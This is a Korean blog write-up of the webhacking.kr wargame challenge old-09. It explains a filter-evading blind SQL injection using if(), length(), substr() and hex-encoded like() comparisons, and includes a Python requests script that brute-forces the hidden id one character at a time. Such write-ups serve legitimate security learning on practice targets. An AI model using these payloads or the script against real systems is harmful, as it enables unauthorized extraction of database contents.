일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- webhacking.kr
- pwnable
- cookie
- blind-sqli
- JS
- 백준
- web
- regex
- SECGAME
- 예전글 #CNN
- Crypto
- pwn
- XSS
- blind_sqli
- Bob
- SQLi
- HTB
- PS
- 예전글 #PS
- cryptohack.org
- Pwnable.kr
- cce2023
- pwn.college
- 예전글
- Today
- Total
아모에요
[webhacking.kr] old-09 본문
SQLi는 맞는데 필터링이 걸려있는 문제
소괄호는 필터링이 되어있지 않는다.
if(true,1,1234) 형태로 입력하면 if조건문에서 no=1이 되고 Apple이 출력된다.
반대로 조건이 false가 되면 no=1234가 되면서 Apple이 출력되지 않는다.
blind-sqli로 풀리는 문제 같은데.. 필터링이 빡세서 어떻게 해야할지 고민했다.
no=3이면서 id를 구해야하는데.. no가 3이라는걸 어떻게 조건을 맞출까 생각하다가
if(조건문,1,1234)를 입력했을때. 쿼리상에는 다음과 같은 쿼리가 입력되었을 것이다.
SELECT text FROM table WHERE no=if(조건문,3,1234)
db테이블에 최소 3개의 컬럼이 존재하고
각각
text = 반환되는 텍스트 (no=1일때 Apple, no=2일때 Banana, no=3일때 Secret)
id = 아이디 (?/?/? = 구해야함)
no = 1/2/3
조건문에 id와 관련한 조건식을 넣으면
length(id)like(len)
1.모든 데이터를 가져와서 length(id)like(len)에 대해서 조건식을 수행하고 true,false를 반환
2. 반환된 boolean 값을 바탕으로 true일 경우(length(id)=len)인 모든 데이터에 대해서 no=3인 데이터를 찾고, 존재하면 그 데이터의 text 값을 반환
즉, 거꾸로 말하면 SQL 특성상 if(조건식,3,1234)과 같은 if문을 대입했을 때 no=3이면서 조건식을 만족하는 데이터만 출력된다!
바로 코드를 짜 보면
import requests
def solve(no,text):
len=0
res=''
i=0
while len==0:
i+=1
url = f"https://webhacking.kr/challenge/web-09/?no=if(length(id)like({i}),{no},1234)"
ret = requests.get(url)
if text in ret.text:
len = i
print("len: "+str(len))
for i in range(1,1+len):
for j in range(32,128):
url = f"https://webhacking.kr/challenge/web-09/?no=if(substr(id,{i},1)like({hex(j)}),{no},1234)"
ret = requests.get(url)
if text in ret.text:
res += chr(j)
break
print(res)
solve(3,"Secret")
like()에 문자를 넣어야 했는데 char가 필터링되어있어서 hex 값으로 입력하였다.
이렇게 하면 풀릴줄 알았는데.. res=%%%%%%%%%%%가 나와버렸다.
range 범위를 48~127로 바꾸면
값이 위와 같이 나타나는데, 바로 풀릴줄 알았지만 입력해보니 정답이 아니다.
소문자로 변경해서 입력하니 문제가 풀린다.
'Study > Hacking' 카테고리의 다른 글
[webhacking.kr] old-11 (0) | 2023.06.14 |
---|---|
[webhacking.kr] old-10 (0) | 2023.06.14 |
[webhacking.kr] old-07 (0) | 2023.06.14 |
[SECGAME] Response (0) | 2023.06.13 |
[webhacking.kr] old-06 (0) | 2023.06.13 |